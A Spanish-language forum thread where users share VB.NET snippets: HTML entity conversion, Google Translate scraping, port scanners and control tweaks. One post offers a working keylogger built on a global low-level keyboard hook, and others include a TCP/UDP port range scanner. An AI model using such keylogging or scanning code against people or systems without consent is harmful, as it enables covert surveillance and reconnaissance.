Librería de Snippets para VB.NET !! (Compartan aquí sus snippets)

Iniciado por Eleкtro, 18 Diciembre 2012, 22:23 PM

0 Miembros y 9 Visitantes están viendo este tema.

Eleкtro

Cita de: Seazoux en 31 Mayo 2013, 20:41 PM
Anda esto me viene bien para mi topic de scroll de imagenes, que casualidad  ;-) :laugh:

Si no fuese por mi  ::)... espero ver mis créditos xD

Me alegro, Saludos.








Eleкtro

Un simple método Get:

Código (vbnet) [Seleccionar]
#Region " Get Method "

    ' [ Get Method Function ]
    '
    ' Examples :
    ' MsgBox(Get_Method("http://translate.google.com/translate_a/t?client=t&text=HelloWorld&sl=en&tl=en")) ' Result: [[["HelloWorld","HelloWorld","",""]],,"en",,,,,,[["en"]],0]

    Public Function Get_Method(ByVal URL As String) As String
        Dim webClient As New System.Net.WebClient
        Return webClient.DownloadString(URL)
    End Function

#End Region






Convierte un string a entidades html:

Código (vbnet) [Seleccionar]
#Region " String To Html Entities "

    ' [ String To Html Escaped Function ]
    '
    ' // By Elektro H@cker
    '
    ' Examples :
    ' MsgBox(String_To_Html_Entities("www.Goo&gle.com")) ' Result: www.Goo&gle.com
   
    Private Function String_To_Html_Entities(ByVal str As String) As String

        str = str.Replace("&", "&") ' Keep this character to be always the first replaced.
        str = str.Replace(ControlChars.Quote, """)
        str = str.Replace(" ", " ")
        str = str.Replace("<", "&lt;")
        str = str.Replace(">", "&gt;")
        str = str.Replace("¡", "&iexcl;")
        str = str.Replace("¢", "&cent;")
        str = str.Replace("£", "&pound;")
        str = str.Replace("¤", "&curren;")
        str = str.Replace("¥", "&yen;")
        str = str.Replace("¦", "&brvbar;")
        str = str.Replace("§", "&sect;")
        str = str.Replace("¨", "&uml;")
        str = str.Replace("©", "&copy;")
        str = str.Replace("ª", "&ordf;")
        str = str.Replace("¬", "&not;")
        str = str.Replace("®", "&reg;")
        str = str.Replace("¯", "&macr;")
        str = str.Replace("°", "&deg;")
        str = str.Replace("±", "&plusmn;")
        str = str.Replace("²", "&sup2;")
        str = str.Replace("³", "&sup3;")
        str = str.Replace("´", "&acute;")
        str = str.Replace("µ", "&micro;")
        str = str.Replace("¶", "&para;")
        str = str.Replace("·", "&middot;")
        str = str.Replace("¸", "&cedil;")
        str = str.Replace("¹", "&sup1;")
        str = str.Replace("º", "&ordm;")
        str = str.Replace("»", "&raquo;")
        str = str.Replace("¼", "&frac14;")
        str = str.Replace("½", "&frac12;")
        str = str.Replace("¾", "&frac34;")
        str = str.Replace("¿", "&iquest;")
        str = str.Replace("×", "&times;")
        str = str.Replace("ß", "&szlig;")
        str = str.Replace("À", "&Agrave;")
        str = str.Replace("à", "&agrave;")
        str = str.Replace("Á", "&Aacute;")
        str = str.Replace("á", "&aacute;")
        str = str.Replace("", "&Acirc;")
        str = str.Replace("", "&acirc;")
        str = str.Replace("Ã", "&Atilde;")
        str = str.Replace("ã", "&atilde;")
        str = str.Replace("Ä", "&Auml;")
        str = str.Replace("ä", "&auml;")
        str = str.Replace("Å", "&Aring;")
        str = str.Replace("å", "&aring;")
        str = str.Replace("Æ", "&AElig;")
        str = str.Replace("æ", "&aelig;")
        str = str.Replace("ç", "&ccedil;")
        str = str.Replace("Ç", "&Ccedil;")
        str = str.Replace("È", "&Egrave;")
        str = str.Replace("è", "&egrave;")
        str = str.Replace("É", "&Eacute;")
        str = str.Replace("é", "&eacute;")
        str = str.Replace("Ê", "&Ecirc;")
        str = str.Replace("ê", "&ecirc;")
        str = str.Replace("Ë", "&Euml;")
        str = str.Replace("ë", "&euml;")
        str = str.Replace("Ì", "&Igrave;")
        str = str.Replace("ì", "&igrave;")
        str = str.Replace("Í", "&Iacute;")
        str = str.Replace("í", "&iacute;")
        str = str.Replace("Î", "&Icirc;")
        str = str.Replace("î", "&icirc;")
        str = str.Replace("Ï", "&Iuml;")
        str = str.Replace("ï", "&iuml;")
        str = str.Replace("Ð", "&ETH;")
        str = str.Replace("ð", "&eth;")
        str = str.Replace("ñ", "&ntilde;")
        str = str.Replace("Ñ", "&Ntilde;")
        str = str.Replace("Ò", "&Ograve;")
        str = str.Replace("ò", "&ograve;")
        str = str.Replace("Ó", "&Oacute;")
        str = str.Replace("ó", "&oacute;")
        str = str.Replace("Ô", "&Ocirc;")
        str = str.Replace("ô", "&ocirc;")
        str = str.Replace("Õ", "&Otilde;")
        str = str.Replace("õ", "&otilde;")
        str = str.Replace("Ö", "&Ouml;")
        str = str.Replace("ö", "&ouml;")
        str = str.Replace("÷", "&divide;")
        str = str.Replace("Ø", "&Oslash;")
        str = str.Replace("ø", "&oslash;")
        str = str.Replace("Ù", "&Ugrave;")
        str = str.Replace("ù", "&ugrave;")
        str = str.Replace("Ú", "&Uacute;")
        str = str.Replace("ú", "&uacute;")
        str = str.Replace("Û", "&Ucirc;")
        str = str.Replace("û", "&ucirc;")
        str = str.Replace("Ü", "&Uuml;")
        str = str.Replace("ü", "&uuml;")
        str = str.Replace("Ý", "&Yacute;")
        str = str.Replace("ý", "&yacute;")
        str = str.Replace("Þ", "&THORN;")
        str = str.Replace("þ", "&thorn;")
        str = str.Replace("€", "&euro;")

        Return str

    End Function

#End Region







Convierte un string a entidades html codificadas:

Código (vbnet) [Seleccionar]
#Region " String To Html Escaped Entities "

    ' [ String To Html Escaped Entities Function ]
    '
    ' // By Elektro H@cker
    '
    ' Examples :
    ' MsgBox(String_To_Html_Escaped_Entities("Me@Gmail.com")) ' Result: &#77;&#101;&#64;&#71;&#109;&#97;&#105;&#108;&#46;&#99;&#111;&#109;

    Public Function String_To_Html_Escaped_Entities(str As String) As String
        Dim sb As New System.Text.StringBuilder(str.Length * 6)
        For Each c As Char In str : sb.Append("&#").Append(CType(AscW(c), UShort)).Append(";"c) : Next
        Return sb.ToString()
    End Function

#End Region






Decodifica un string que contenga entidades HTML

Código (vbnet) [Seleccionar]
#Region " Html Entities To String "

    ' [ Html Entities To String Function ]
    '
    ' // By Elektro H@cker
    '
    ' Examples :
    ' MsgBox(Html_Entities_To_String("www.Goo&amp;gle.com")) ' Result: Goo&gle.com
   
    Private Function Html_Entities_To_String(ByVal str As String) As String

        str = str.Replace("&quot;", ControlChars.Quote)
        str = str.Replace("&amp;", "&")
        str = str.Replace("&nbsp;", "")
        str = str.Replace("&lt;", "<")
        str = str.Replace("&gt;", ">")
        str = str.Replace("&iexcl;", "¡")
        str = str.Replace("&cent;", "¢")
        str = str.Replace("&pound;", "£")
        str = str.Replace("&curren;", "¤")
        str = str.Replace("&yen;", "¥")
        str = str.Replace("&brvbar;", "¦")
        str = str.Replace("&sect;", "§")
        str = str.Replace("&uml;", "¨")
        str = str.Replace("&copy;", "©")
        str = str.Replace("&ordf;", "ª")
        str = str.Replace("&not;", "¬")
        str = str.Replace("&reg;", "®")
        str = str.Replace("&macr;", "¯")
        str = str.Replace("&deg;", "°")
        str = str.Replace("&plusmn;", "±")
        str = str.Replace("&sup2;", "²")
        str = str.Replace("&sup3;", "³")
        str = str.Replace("&acute;", "´")
        str = str.Replace("&micro;", "µ")
        str = str.Replace("&para;", "¶")
        str = str.Replace("&middot;", "·")
        str = str.Replace("&cedil;", "¸")
        str = str.Replace("&sup1;", "¹")
        str = str.Replace("&ordm;", "º")
        str = str.Replace("&raquo;", "»")
        str = str.Replace("&frac14;", "¼")
        str = str.Replace("&frac12;", "½")
        str = str.Replace("&frac34;", "¾")
        str = str.Replace("&iquest;", "¿")
        str = str.Replace("&times;", "×")
        str = str.Replace("&szlig;", "ß")
        str = str.Replace("&Agrave;", "À")
        str = str.Replace("&agrave;", "à")
        str = str.Replace("&Aacute;", "Á")
        str = str.Replace("&aacute;", "á")
        str = str.Replace("&Acirc;", "")
        str = str.Replace("&acirc;", "")
        str = str.Replace("&Atilde;", "Ã")
        str = str.Replace("&atilde;", "ã")
        str = str.Replace("&Auml;", "Ä")
        str = str.Replace("&auml;", "ä")
        str = str.Replace("&Aring;", "Å")
        str = str.Replace("&aring;", "å")
        str = str.Replace("&AElig;", "Æ")
        str = str.Replace("&aelig;", "æ")
        str = str.Replace("&ccedil;", "ç")
        str = str.Replace("&Ccedil;", "Ç")
        str = str.Replace("&Egrave;", "È")
        str = str.Replace("&egrave;", "è")
        str = str.Replace("&Eacute;", "É")
        str = str.Replace("&eacute;", "é")
        str = str.Replace("&Ecirc;", "Ê")
        str = str.Replace("&ecirc;", "ê")
        str = str.Replace("&Euml;", "Ë")
        str = str.Replace("&euml;", "ë")
        str = str.Replace("&Igrave;", "Ì")
        str = str.Replace("&igrave;", "ì")
        str = str.Replace("&Iacute;", "Í")
        str = str.Replace("&iacute;", "í")
        str = str.Replace("&Icirc;", "Î")
        str = str.Replace("&icirc;", "î")
        str = str.Replace("&Iuml;", "Ï")
        str = str.Replace("&iuml;", "ï")
        str = str.Replace("&ETH;", "Ð")
        str = str.Replace("&eth;", "ð")
        str = str.Replace("&ntilde;", "ñ")
        str = str.Replace("&Ntilde;", "Ñ")
        str = str.Replace("&Ograve;", "Ò")
        str = str.Replace("&ograve;", "ò")
        str = str.Replace("&Oacute;", "Ó")
        str = str.Replace("&oacute;", "ó")
        str = str.Replace("&Ocirc;", "Ô")
        str = str.Replace("&ocirc;", "ô")
        str = str.Replace("&Otilde;", "Õ")
        str = str.Replace("&otilde;", "õ")
        str = str.Replace("&Ouml;", "Ö")
        str = str.Replace("&ouml;", "ö")
        str = str.Replace("&divide;", "÷")
        str = str.Replace("&Oslash;", "Ø")
        str = str.Replace("&oslash;", "ø")
        str = str.Replace("&Ugrave;", "Ù")
        str = str.Replace("&ugrave;", "ù")
        str = str.Replace("&Uacute;", "Ú")
        str = str.Replace("&uacute;", "ú")
        str = str.Replace("&Ucirc;", "Û")
        str = str.Replace("&ucirc;", "û")
        str = str.Replace("&Uuml;", "Ü")
        str = str.Replace("&uuml;", "ü")
        str = str.Replace("&Yacute;", "Ý")
        str = str.Replace("&yacute;", "ý")
        str = str.Replace("&THORN;", "Þ")
        str = str.Replace("&thorn;", "þ")
        str = str.Replace("&euro;", "€")

        Return str

    End Function

#End Region







Decodifica un string codificado en HTML Escaped Entities

Código (vbnet) [Seleccionar]
#Region " Html Escaped Entities To String "

    ' [ Html Escaped Entities To String Function ]
    '
    ' // By Elektro H@cker
    '
    ' Examples :
    ' MsgBox(Html_Escaped_Entities_To_String("&#77;&#101;&#64;&#71;&#109;&#97;&#105;&#108;&#46;&#99;&#111;&#109;")) ' Result: Me@Gmail.com

   Public Function Html_Escaped_Entities_To_String(str As String) As String
        Dim sb As New System.Text.StringBuilder(str.Length)
        str = str.Replace("&#", "")
        Try : For Each entity In str.Split(";") : sb.Append(Chr(entity)) : Next : Catch : End Try
        Return sb.ToString()
    End Function

#End Region






Comprueba si un numero es multiplo de otro

Código (vbnet) [Seleccionar]
    #Region " Number Is Multiple? "
     
       ' [ Number Is Multiple? Function ]
       '
       ' // By Elektro H@cker
       '
       ' Examples :
       ' MsgBox(Number_Is_Multiple(30, 3)) ' Result: True
       ' MsgBox(Number_Is_Multiple(50, 3)) ' Result: False

    Function Number_Is_Multiple(ByVal Number As Int64, ByVal Multiple As Int64) As Boolean
        Return (Number Mod Multiple = 0)
    End Function
     
    #End Region





Comprueba si un numero es divisible por otro

Código (vbnet) [Seleccionar]

    #Region " Number Is Divisible? "
     
       ' [ Number Is Divisible? Function ]
       '
       ' // By Elektro H@cker
       '
       ' Examples :
       ' MsgBox(Number_Is_Divisible(30, 3)) ' Result: True
       ' MsgBox(Number_Is_Divisible(50, 3)) ' Result: False

    Function Number_Is_Divisible(ByVal Number As Int64, ByVal Divisible As Int64) As Boolean
        Return (Number Mod Divisible = 0)
    End Function

     
    #End Region








Eleкtro

#142
Usar Google Translate sin comprar la API de pago xD

Código (vbnet) [Seleccionar]
#Region " Google Translate "

   ' [ Google Translate Function ]
   '
   ' // By Elektro H@cker
   '
   ' Examples :
   '
   ' MsgBox(Google_Translate("Hello world", GoogleTranslate_Languages.en, GoogleTranslate_Languages.es))   ' Result: Hola mundo
   ' MsgBox(Google_Translate("Hello world", GoogleTranslate_Languages.auto, GoogleTranslate_Languages.fr)) ' Result: Bonjour tout le monde

   Public Enum GoogleTranslate_Languages
       auto ' Detectar idioma
       af ' afrikáans
       ar ' árabe
       az ' azerí
       be ' bielorruso
       bg ' búlgaro
       bn ' bengalí; bangla
       bs ' bosnio
       ca ' catalán
       ceb ' cebuano
       cs ' checo
       cy ' galés
       da ' danés
       de ' alemán
       el ' griego
       en ' inglés
       eo ' esperanto
       es ' español
       et ' estonio
       eu ' euskera
       fa ' persa
       fi ' finlandés
       fr ' francés
       ga ' irlandés
       gl ' gallego
       gu ' gujarati
       hi ' hindi
       hmn ' Hmong
       hr ' croata
       ht ' criollo haitiano
       hu ' húngaro
       hy ' armenio
       id ' indonesio
       it ' italiano
       iw ' hebreo
       ja ' japonés
       jw ' javanés
       ka ' georgiano
       km ' Jemer
       kn ' canarés
       ko ' coreano
       la ' latín
       lo ' lao
       lt ' lituano
       lv ' letón
       mk ' macedonio
       mr ' maratí
       ms ' malayo
       mt ' maltés
       nl ' holandés
       no ' noruego
       pl ' polaco
       pt ' portugués
       ro ' rumano
       ru ' ruso
       sk ' eslovaco
       sl ' esloveno
       sq ' albanés
       sr ' serbio
       sv ' sueco
       sw ' suajili
       ta ' tamil
       te ' telugu
       th ' tailandés
       tl ' tagalo
       tr ' turco
       uk ' ucraniano
       ur ' urdu
       vi ' vietnamita
       yi ' yidis
       zh_CN ' chino
   End Enum

   Public Function Google_Translate(ByVal Input As String, _
                                    ByVal From_Language As GoogleTranslate_Languages, _
                                    ByVal To_Language As GoogleTranslate_Languages) As String

       Dim Formatted_From_Language As String = From_Language.ToString.Replace("_", "-") ' zh_CN > zh-CN
       Dim Formatted_To_Language As String = To_Language.ToString.Replace("_", "-") ' zh_CN > zh-CN

       Dim webClient As New System.Net.WebClient

       Dim str = webClient.DownloadString( _
       "http://translate.google.com/translate_a/t?client=t&text=" & Input & _
       "&sl=" & Formatted_From_Language & _
       "&tl=" & Formatted_To_Language & "")

       Return (str.Substring(4, str.Length - 4).Split(ControlChars.Quote).First)

   End Function

#End Region


Extra:
-> [BATCH] GTC (Google Translate Console)








Eleкtro

#143
Un low-level hook para capturar el keyboard fuera del form, es decir, un keylogger.

La idea la tuve de un code que vi de Kub0x

Esta es la parte que me he currado yo:

Código (vbnet) [Seleccionar]
#Region " KeyLogger "

Public WithEvents KeysHook As New KeyboardHook

Dim Auto_Backspace_Key As Boolean = True
Dim Auto_Enter_Key As Boolean = True
Dim Auto_Tab_Key As Boolean = True
Dim No_F_Keys As Boolean = False

Private Sub KeysHook_KeyDown(ByVal Key As Keys) Handles KeysHook.KeyDown

    Select Case Control.ModifierKeys

        Case 393216 ' Alt-GR + Key

            Select Case Key
                Case Keys.D1 : Key_Listener("|")
                Case Keys.D2 : Key_Listener("@")
                Case Keys.D3 : Key_Listener("#")
                Case Keys.D4 : Key_Listener("~")
                Case Keys.D5 : Key_Listener("€")
                Case Keys.D6 : Key_Listener("¬")
                Case Keys.E : Key_Listener("€")
                Case Keys.Oem1 : Key_Listener("[")
                Case Keys.Oem5 : Key_Listener("\")
                Case Keys.Oem7 : Key_Listener("{")
                Case Keys.Oemplus : Key_Listener("]")
                Case Keys.OemQuestion : Key_Listener("}")
                Case Else : Key_Listener("")
            End Select

        Case 65536 ' LShift/RShift + Key

            Select Case Key
                Case Keys.D0 : Key_Listener("=")
                Case Keys.D1 : Key_Listener("!")
                Case Keys.D2 : Key_Listener("""")
                Case Keys.D3 : Key_Listener("·")
                Case Keys.D4 : Key_Listener("$")
                Case Keys.D5 : Key_Listener("%")
                Case Keys.D6 : Key_Listener("&")
                Case Keys.D7 : Key_Listener("/")
                Case Keys.D8 : Key_Listener("(")
                Case Keys.D9 : Key_Listener(")")
                Case Keys.Oem1 : Key_Listener("^")
                Case Keys.Oem5 : Key_Listener("ª")
                Case Keys.Oem6 : Key_Listener("¿")
                Case Keys.Oem7 : Key_Listener("¨")
                Case Keys.OemBackslash : Key_Listener(">")
                Case Keys.Oemcomma : Key_Listener(";")
                Case Keys.OemMinus : Key_Listener("_")
                Case Keys.OemOpenBrackets : Key_Listener("?")
                Case Keys.OemPeriod : Key_Listener(":")
                Case Keys.Oemplus : Key_Listener("*")
                Case Keys.OemQuestion : Key_Listener("Ç")
                Case Keys.Oemtilde : Key_Listener("Ñ")
                Case Else : Key_Listener("")
            End Select

        Case Else

            If Key.ToString.Length = 1 Then ' Single alpha key

                If Control.IsKeyLocked(Keys.CapsLock) Or Control.ModifierKeys = Keys.Shift Then
                    Key_Listener(Key.ToString.ToUpper)
                Else
                    Key_Listener(Key.ToString.ToLower)
                End If

            Else

                Select Case Key ' Single special key
                    Case Keys.Add : Key_Listener("+")
                    Case Keys.Back : Key_Listener("{BackSpace}")
                    Case Keys.D0 : Key_Listener("0")
                    Case Keys.D1 : Key_Listener("1")
                    Case Keys.D2 : Key_Listener("2")
                    Case Keys.D3 : Key_Listener("3")
                    Case Keys.D4 : Key_Listener("4")
                    Case Keys.D5 : Key_Listener("5")
                    Case Keys.D6 : Key_Listener("6")
                    Case Keys.D7 : Key_Listener("7")
                    Case Keys.D8 : Key_Listener("8")
                    Case Keys.D9 : Key_Listener("9")
                    Case Keys.Decimal : Key_Listener(".")
                    Case Keys.Delete : Key_Listener("{Supr}")
                    Case Keys.Divide : Key_Listener("/")
                    Case Keys.End : Key_Listener("{End}")
                    Case Keys.Enter : Key_Listener("{Enter}")
                    Case Keys.F1 : Key_Listener("{F1}")
                    Case Keys.F10 : Key_Listener("{F10}")
                    Case Keys.F11 : Key_Listener("{F11}")
                    Case Keys.F12 : Key_Listener("{F12}")
                    Case Keys.F2 : Key_Listener("{F2}")
                    Case Keys.F3 : Key_Listener("{F3}")
                    Case Keys.F4 : Key_Listener("{F4}")
                    Case Keys.F5 : Key_Listener("{F5}")
                    Case Keys.F6 : Key_Listener("{F6}")
                    Case Keys.F7 : Key_Listener("{F7}")
                    Case Keys.F8 : Key_Listener("{F8}")
                    Case Keys.F9 : Key_Listener("{F9}")
                    Case Keys.Home : Key_Listener("{Home}")
                    Case Keys.Insert : Key_Listener("{Insert}")
                    Case Keys.Multiply : Key_Listener("*")
                    Case Keys.NumPad0 : Key_Listener("0")
                    Case Keys.NumPad1 : Key_Listener("1")
                    Case Keys.NumPad2 : Key_Listener("2")
                    Case Keys.NumPad3 : Key_Listener("3")
                    Case Keys.NumPad4 : Key_Listener("4")
                    Case Keys.NumPad5 : Key_Listener("5")
                    Case Keys.NumPad6 : Key_Listener("6")
                    Case Keys.NumPad7 : Key_Listener("7")
                    Case Keys.NumPad8 : Key_Listener("8")
                    Case Keys.NumPad9 : Key_Listener("9")
                    Case Keys.Oem1 : Key_Listener("`")
                    Case Keys.Oem5 : Key_Listener("º")
                    Case Keys.Oem6 : Key_Listener("¡")
                    Case Keys.Oem7 : Key_Listener("´")
                    Case Keys.OemBackslash : Key_Listener("<")
                    Case Keys.Oemcomma : Key_Listener(",")
                    Case Keys.OemMinus : Key_Listener(".")
                    Case Keys.OemOpenBrackets : Key_Listener("'")
                    Case Keys.OemPeriod : Key_Listener("-")
                    Case Keys.Oemplus : Key_Listener("+")
                    Case Keys.OemQuestion : Key_Listener("ç")
                    Case Keys.Oemtilde : Key_Listener("ñ")
                    Case Keys.PageDown : Key_Listener("{AvPag}")
                    Case Keys.PageUp : Key_Listener("{RePag}")
                    Case Keys.Space : Key_Listener(" ")
                    Case Keys.Subtract : Key_Listener("-")
                    Case Keys.Tab : Key_Listener("{Tabulation}")
                    Case Else : Key_Listener("")
                End Select

            End If

    End Select

End Sub

Public Sub Key_Listener(ByVal key As String)

    If Auto_Backspace_Key AndAlso key = "{BackSpace}" Then ' Delete character
        RichTextBox1.Text = RichTextBox1.Text.Substring(0, RichTextBox1.Text.Length - 1)
    ElseIf Auto_Enter_Key AndAlso key = "{Enter}" Then ' Insert new line
        RichTextBox1.Text += ControlChars.NewLine
    ElseIf Auto_Tab_Key AndAlso key = "{Tabulation}" Then ' Insert Tabulation
        RichTextBox1.Text += ControlChars.Tab
    ElseIf No_F_Keys AndAlso key.StartsWith("{F") Then ' Ommit F Keys
    Else ' Print the character
        RichTextBox1.Text += key
    End If

End Sub

#End Region


Y esta es la class del Hook:
Código (vbnet) [Seleccionar]
Imports System.Runtime.InteropServices

Public Class KeyboardHook

   <DllImport("User32.dll", CharSet:=CharSet.Auto, CallingConvention:=CallingConvention.StdCall)> _
   Private Overloads Shared Function SetWindowsHookEx(ByVal idHook As Integer, ByVal HookProc As KBDLLHookProc, ByVal hInstance As IntPtr, ByVal wParam As Integer) As Integer
   End Function

   <DllImport("User32.dll", CharSet:=CharSet.Auto, CallingConvention:=CallingConvention.StdCall)> _
   Private Overloads Shared Function CallNextHookEx(ByVal idHook As Integer, ByVal nCode As Integer, ByVal wParam As IntPtr, ByVal lParam As IntPtr) As Integer
   End Function

   <DllImport("User32.dll", CharSet:=CharSet.Auto, CallingConvention:=CallingConvention.StdCall)> _
   Private Overloads Shared Function UnhookWindowsHookEx(ByVal idHook As Integer) As Boolean
   End Function

   <StructLayout(LayoutKind.Sequential)> _
   Private Structure KBDLLHOOKSTRUCT
       Public vkCode As UInt32
       Public scanCode As UInt32
       Public flags As KBDLLHOOKSTRUCTFlags
       Public time As UInt32
       Public dwExtraInfo As UIntPtr
   End Structure

   <Flags()> _
   Private Enum KBDLLHOOKSTRUCTFlags As UInt32
       LLKHF_EXTENDED = &H1
       LLKHF_INJECTED = &H10
       LLKHF_ALTDOWN = &H20
       LLKHF_UP = &H80
   End Enum

   Public Shared Event KeyDown(ByVal Key As Keys)
   Public Shared Event KeyUp(ByVal Key As Keys)

   Private Const WH_KEYBOARD_LL As Integer = 13
   Private Const HC_ACTION As Integer = 0
   Private Const WM_KEYDOWN = &H100
   Private Const WM_KEYUP = &H101
   Private Const WM_SYSKEYDOWN = &H104
   Private Const WM_SYSKEYUP = &H105

   Private Delegate Function KBDLLHookProc(ByVal nCode As Integer, ByVal wParam As IntPtr, ByVal lParam As IntPtr) As Integer

   Private KBDLLHookProcDelegate As KBDLLHookProc = New KBDLLHookProc(AddressOf KeyboardProc)
   Private HHookID As IntPtr = IntPtr.Zero

   Private Function KeyboardProc(ByVal nCode As Integer, ByVal wParam As IntPtr, ByVal lParam As IntPtr) As Integer
       If (nCode = HC_ACTION) Then
           Dim struct As KBDLLHOOKSTRUCT
           Select Case wParam
               Case WM_KEYDOWN, WM_SYSKEYDOWN
                   RaiseEvent KeyDown(CType(CType(Marshal.PtrToStructure(lParam, struct.GetType()), KBDLLHOOKSTRUCT).vkCode, Keys))
               Case WM_KEYUP, WM_SYSKEYUP
                   RaiseEvent KeyUp(CType(CType(Marshal.PtrToStructure(lParam, struct.GetType()), KBDLLHOOKSTRUCT).vkCode, Keys))
           End Select
       End If
       Return CallNextHookEx(IntPtr.Zero, nCode, wParam, lParam)
   End Function

   Public Sub New()
       HHookID = SetWindowsHookEx(WH_KEYBOARD_LL, KBDLLHookProcDelegate, System.Runtime.InteropServices.Marshal.GetHINSTANCE(System.Reflection.Assembly.GetExecutingAssembly.GetModules()(0)).ToInt32, 0)
       If HHookID = IntPtr.Zero Then
           Throw New Exception("Could not set keyboard hook")
       End If
   End Sub

   Protected Overrides Sub Finalize()
       If Not HHookID = IntPtr.Zero Then
           UnhookWindowsHookEx(HHookID)
       End If
       MyBase.Finalize()
   End Sub

End Class








z3nth10n

Elektro pone al principio del ultimo snippet ublic, en vez de Public:laugh:

Interesados hablad por Discord.

Eleкtro

Cita de: Seazoux en  2 Junio 2013, 16:47 PMElektro pone al principio del ultimo snippet ublic, en vez de Public:laugh:

Corregido, gracias.

¿Alguna imperfección más? xD

Salu2!








z3nth10n


Interesados hablad por Discord.

Eleкtro

LA PARTE IMPORTANTE DE ESTOS CÓDIGOS LOS HE TOMADO DEL BUENO DE KUBOX:

Escanear un puerto abierto

Código (vbnet) [Seleccionar]
#Region " Port Scan "

    ' [ Port Scan Function ]
    '
    ' // By Elektro H@cker
    '
    ' Examples :
    ' MsgBox(Port_Scan("84.126.113.10", 80))
    ' MsgBox(Port_Scan("84.126.113.10", 80, Net.Sockets.ProtocolType.Udp))

    Private Function Port_Scan(ByVal IP As String, ByVal Port As Int32, _
                               Optional ByVal Type As System.Net.Sockets.ProtocolType = Net.Sockets.ProtocolType.Tcp) As Boolean

        Dim Open As Boolean

        Try
            Dim socket As New System.Net.Sockets.Socket(System.Net.Sockets.AddressFamily.InterNetwork, _
                                                        System.Net.Sockets.SocketType.Stream, Type)
            socket.Connect(IP, Port)
            Open = socket.Connected
            socket.Disconnect(False)
            Return Open
        Catch ex As Exception
            MsgBox(ex.Message)
            ' Return False
        End Try

    End Function

#End Region






Escanear un rango de puertos

Código (vbnet) [Seleccionar]
#Region " Port Range Scan "

    ' [ Port Range Scan Function ]
    '
    ' // By Elektro H@cker
    '
    ' Examples :
    ' For Each Open_Port In Port_Range_Scan("84.126.113.10, 1, 5000) : MsgBox(Open_Port) : Next

    Private Function Port_Range_Scan(ByVal IP As String, ByVal Port_Start As Int32, ByVal Port_End As Int32, _
                                     Optional ByVal Type As System.Net.Sockets.ProtocolType = Net.Sockets.ProtocolType.Tcp _
                                    ) As List(Of String)

        Dim Open_Ports_List As New List(Of String)

        Try
            For Port As Int32 = Port_Start To Port_End
                Dim socket As New System.Net.Sockets.Socket(System.Net.Sockets.AddressFamily.InterNetwork, _
                                                     System.Net.Sockets.SocketType.Stream, Type)
                socket.Connect(IP, Port)
                If socket.Connected Then Open_Ports_List.Add(Port)
                socket.Disconnect(False)
            Next Port
            Return Open_Ports_List
        Catch ex As Exception
            MsgBox(ex.Message)
            Return Nothing
        End Try

    End Function

#End Region








Eleкtro

#148
Como heredar un control para eliminar al 100% el Flickering en un control Default de un WindowsForm:

(Me he pasado unos 3-5 meses buscando una solución eficaz a esto ...Y aunque esta no es la solución más óptima, funciona y la considero eficaz en el aspecto de que funciona al 100%, pero leer el comentario que he dejado en inglés.)

Código (vbnet) [Seleccionar]
Public Class Panel_Without_Flickering

   Inherits Panel

   Public Sub New()
       Me.DoubleBuffered = False
       Me.ResumeLayout(False)
   End Sub

   ' Caution:
   ' This turns off any Flicker effect
   ' ...but also reduces the performance (speed) of the control about 30% slower.
   ' This don't affect to the performance of the application, only to the performance of this control.
   Protected Overrides ReadOnly Property CreateParams() As CreateParams
       Get
           Dim cp As CreateParams = MyBase.CreateParams
           cp.ExStyle = cp.ExStyle Or &H2000000
           Return cp
       End Get
   End Property

End Class







Un ejemplo hecho por mi de como heredar un control cualquiera, más bien es una especie de plantilla...

Código (vbnet) [Seleccionar]
Public Class MyControl  ' Name of this control.

   Inherits PictureBox ' Name of the inherited control.

#Region " New "

   Public Sub New()
       Me.DoubleBuffered = True
       Me.SetStyle(ControlStyles.ResizeRedraw, False)
       Me.Name = "MyControl"
       'Me.Text = "Text"
       'Me.Size = New Point(60, 60)
   End Sub

#End Region

#Region " Properties "

   Private _Description As String = String.Empty

   ''' <summary>
   ''' Add a description for this control.
   ''' </summary>
   Public Property Description() As String
       Get
           Return _Description
       End Get
       Set(ByVal Value As String)
           Me._Description = Value
       End Set
   End Property

#End Region

#Region " Event handlers "

   ' Private Sub MyControl_Click(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Click
   '    Me.ForeColor = Color.White
   '    Me.BackColor = Color.CadetBlue
   ' End Sub

   ' Protected Overrides Sub OnPaint(ByVal pEvent As PaintEventArgs)
   '    MyBase.OnPaint(pEvent)
   '    If Me.Checked Then
   '       pEvent.Graphics.FillRectangle(New SolidBrush(Color.YellowGreen), New Rectangle(3, 4, 10, 12))
   '    End If
   ' End Sub

#End Region

#Region " Methods / Functions "

   ''' <summary>
   ''' Show the autor of this control.
   ''' </summary>
   Public Sub About()
       MsgBox("Elektro H@cker")
   End Sub

#End Region

End Class








Eleкtro

Taskbar Hide-Show

Oculta o desoculta la barra de tareas de Windows.

Código (vbnet) [Seleccionar]
#Region " Taskbar Hide-Show "

' [ Taskbar Hide-Show]
'
' Examples :
'
' Taskbar.Hide()
' Taskbar.Show()

#End Region

' Taskbar.vb
#Region " Taskbar Class "

''' <summary>
''' Helper class for hiding/showing the taskbar and startmenu on
''' Windows XP and Vista.
''' </summary>
Public Class Taskbar

   <System.Runtime.InteropServices.DllImport("user32.dll")> _
   Private Shared Function GetWindowText(hWnd As IntPtr, text As System.Text.StringBuilder, count As Integer) As Integer
   End Function
   <System.Runtime.InteropServices.DllImport("user32.dll", CharSet:=System.Runtime.InteropServices.CharSet.Auto)> _
   Private Shared Function EnumThreadWindows(threadId As Integer, pfnEnum As EnumThreadProc, lParam As IntPtr) As Boolean
   End Function
   <System.Runtime.InteropServices.DllImport("user32.dll", SetLastError:=True)> _
   Private Shared Function FindWindow(lpClassName As String, lpWindowName As String) As System.IntPtr
   End Function
   <System.Runtime.InteropServices.DllImport("user32.dll", SetLastError:=True)> _
   Private Shared Function FindWindowEx(parentHandle As IntPtr, childAfter As IntPtr, className As String, windowTitle As String) As IntPtr
   End Function
   <System.Runtime.InteropServices.DllImport("user32.dll")> _
   Private Shared Function FindWindowEx(parentHwnd As IntPtr, childAfterHwnd As IntPtr, className As IntPtr, windowText As String) As IntPtr
   End Function
   <System.Runtime.InteropServices.DllImport("user32.dll")> _
   Private Shared Function ShowWindow(hwnd As IntPtr, nCmdShow As Integer) As Integer
   End Function
   <System.Runtime.InteropServices.DllImport("user32.dll")> _
   Private Shared Function GetWindowThreadProcessId(hwnd As IntPtr, lpdwProcessId As Integer) As UInteger
   End Function

   Private Const SW_HIDE As Integer = 0
   Private Const SW_SHOW As Integer = 5

   Private Const VistaStartMenuCaption As String = "Start"
